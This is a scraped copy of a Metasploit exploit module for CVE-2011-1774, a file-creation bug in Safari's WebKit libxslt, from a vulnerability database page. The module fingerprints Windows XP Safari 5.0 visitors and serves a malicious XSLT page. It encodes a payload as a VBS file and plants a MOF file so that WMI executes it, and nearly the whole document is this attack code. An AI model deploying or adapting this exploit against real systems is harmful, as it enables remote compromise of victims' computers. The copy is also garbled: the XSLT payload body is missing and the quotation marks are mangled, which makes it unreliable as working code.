ZeroBox Vulnerability Database

##
# $Id: safari_xslt_output.rb 13987 2011-10-18 07:39:50Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require ‘msf/core’

class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE include Msf::Exploit::WbemExec def initialize(info = {}) super(update_info(info, 'Name' => ‘Apple Safari Webkit libxslt Arbitrary File Creation’,
‘Description’ => %q{
This module exploits a file creation vulnerability in the Webkit
rendering engine. It is possible to redirect the output of a XSLT
transformation to an arbitrary file. The content of the created file must be
ASCII or UTF-8. The destination path can be relative or absolute. This module
has been tested on Safari and Maxthon. Code execution can be acheived by first
uploading the payload to the remote machine in VBS format, and then upload a MOF
file, which enables Windows Management Instrumentation service to execute the VBS.
},
‘License’ => MSF_LICENSE,
‘Author’ => [‘Nicolas Gregoire’],
‘Version’ => ‘$Revision: 13987 $’,
‘References’ =>
[
[‘CVE’, ‘2011-1774’],
[‘OSVDB’, ‘74017’],
[‘URL’, ‘http://lists.apple.com/archives/Security-announce/2011/Jul/msg00002.html’],
],
‘DefaultOptions’ =>
{
‘InitialAutoRunScript’ => ‘migrate -f’,
},
‘Payload’ =>
{
‘Space’ => 2048,
},
‘Platform’ => ‘win’,
‘Targets’ =>
[
#Windows before Vista
[ ‘Automatic’, { } ],
],
‘DefaultTarget’ => 0,
‘DisclosureDate’ => ‘Jul 20 2011’))
end

def autofilter
false
end

def check_dependencies
use_zlib
end

def on_request_uri(cli, request)
# Check target before attacking
agent = request.headers[‘User-Agent’]
if agent !~ /Windows NT 5\.1/ or agent !~ /Safari/ or agent !~ /Version\/5\.0\.\d/
print_error(“This target isn’t supported: #{agent.to_s}”)
send_not_found(cli)
return
end

url = “http://”
url += (datastore[‘SRVHOST’] == ‘0.0.0.0’) ? Rex::Socket.source_address(cli.peerhost) : datastore[‘SRVHOST’]
url += “:” + datastore[‘SRVPORT’] + get_resource() + “/”

content = <<-EOS

]>

EOS

#Clear the extra tabs
content = content.gsub(/^\t\t/, ”)

print_status(“Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}…”)
send_response(cli, content, {‘Content-Type’=>’application/xml’})
handler(cli)

end

def exploit
# In order to save binary data to the file system the payload is written to a VBS
# file and execute it from there via a MOF
@mof_name = rand_text_alpha(rand(5)+5) + “.mof”
@vbs_name = rand_text_alpha(rand(5)+5) + “.vbs”

print_status(“Encoding payload into vbs…”)
payload = generate_payload_exe
@vbs_content = Msf::Util::EXE.to_exe_vbs(payload)

print_status(“Generating mof file…”)
@mof_content = generate_mof(@mof_name, @vbs_name)
super
end

end